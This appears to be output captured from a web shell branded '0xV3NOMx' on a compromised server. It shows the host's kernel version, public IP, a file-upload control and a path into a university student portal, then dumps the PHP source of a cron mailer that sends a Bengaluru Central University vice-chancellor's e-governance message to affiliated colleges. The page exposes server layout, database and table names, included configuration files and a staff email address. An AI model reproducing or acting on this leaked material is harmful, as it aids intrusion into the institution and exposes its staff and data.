0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.219.94.17


Current Path : /proc/thread-self/root/var/www/html/studentportal_wait/cronjobs/
Upload File :
Current File : //proc/thread-self/root/var/www/html/studentportal_wait/cronjobs/nls_mail.php

<?php

include ("database.php");
//require_once("cManualMailer.php");
//error_reporting(E_ALL);
ini_set('display_errors', 'on');
include("sendGridMail.php");

$message="<html>";
$message.="<body>";
$message.="<style>";		
$message.=".mail_tbl td{text-align:left; padding:2px; font-size:16px; font-family: Times, Arial, Helvetica, sans-serif;}";	
$message.="</style>";
// Kindly inform your students to watch live streaming of Nobel Lecture Series
$message.="
Dear Principal,<br>
<h2><font color='#2f7c3f'>Greetings on behalf of Bengaluru Central University (BCU)!</font></h2> 
<div style='text-align: left'>
	
	<p><i><font size='4'>
		It gives me great pleasure to introduce you to BCU’s e-Governance System for managing the affiliation process. This web based system shall help us manage both degree college information gathering and the corresponding inspection process which shall enable efficiency to the whole process.
		</p>
		<br>
		<p><i><font size='4'>
		The e-Governance system has been designed by senior faculty at BCU with a dedicated and experienced development team along with experts in University Affiliation, NAAC and veteran professionals in higher education that included former Vice Chancellors, members of the syndicate and representatives from the affiliated colleges. This system aims to improve the efficiency of the current system but also bring in transparency and accountability to the whole process of affiliation.
		</p>
		<br>
		<p><i><font size='4'>
		It is important that Colleges reciprocate our objectivity in the process by being honest in filling up all the required information to enable smooth and error free inspection of your esteemed institution. Bengaluru Central University considers your institution a partner in enabling good education while fulfilling all student entitlements.
		</p>
		<br>
		<p><i><font size='4'>
		We seek your cooperation in ensuring this initiative is successful and to continue to encourage us to achieve complete e-Governance across all our processes.
		</p>
		<br>
		<p><i><font size='4'>
	The Local Inquiry Committee (LIC) would shortly visit your college and I appreciate if you could extend them warm welcome during the visit of the team to your college and without flower bouquet/mementoes.
		</p>
		<br>
		<p><i><font size='4'>
		With best wishes<br>
		  (S. Japhet)<br>
		  Vice-Chancellor
		</p>
		<br>

		
";
$message.="</br>";
$message.="</body>";
$message.="</html>";
$subject="BCU : e-Governance system for affiliation process."; 


/*
select distinct femail from masuser m inner join pushstud p 
on m.fregno = p.fregno
and m.funivcode = p.funivcode
where p.funivcode = '041' and fcollcode = '1001'
*/
echo $message."<br/>";

$emailid = 'mohan.s@logisys.org';
$resp = sendGridMail($emailid,$subject,$message);

echo $resp;

$query = "SELECT femail FROM logisys3_bcu.college WHERE IFNULL(femail,'')<>''";
$result = mysqli_query($conn,$query);

while($row1 = mysqli_fetch_assoc($result))
{
	$emailid = $row1['femail'];
	// $resp = sendGridMail($emailid,$subject,$message);
	echo $emailid."<br/>";
	echo $resp."<br/>";
	// $i++;
}

$resp = sendGridMail($emailid,$subject,$message);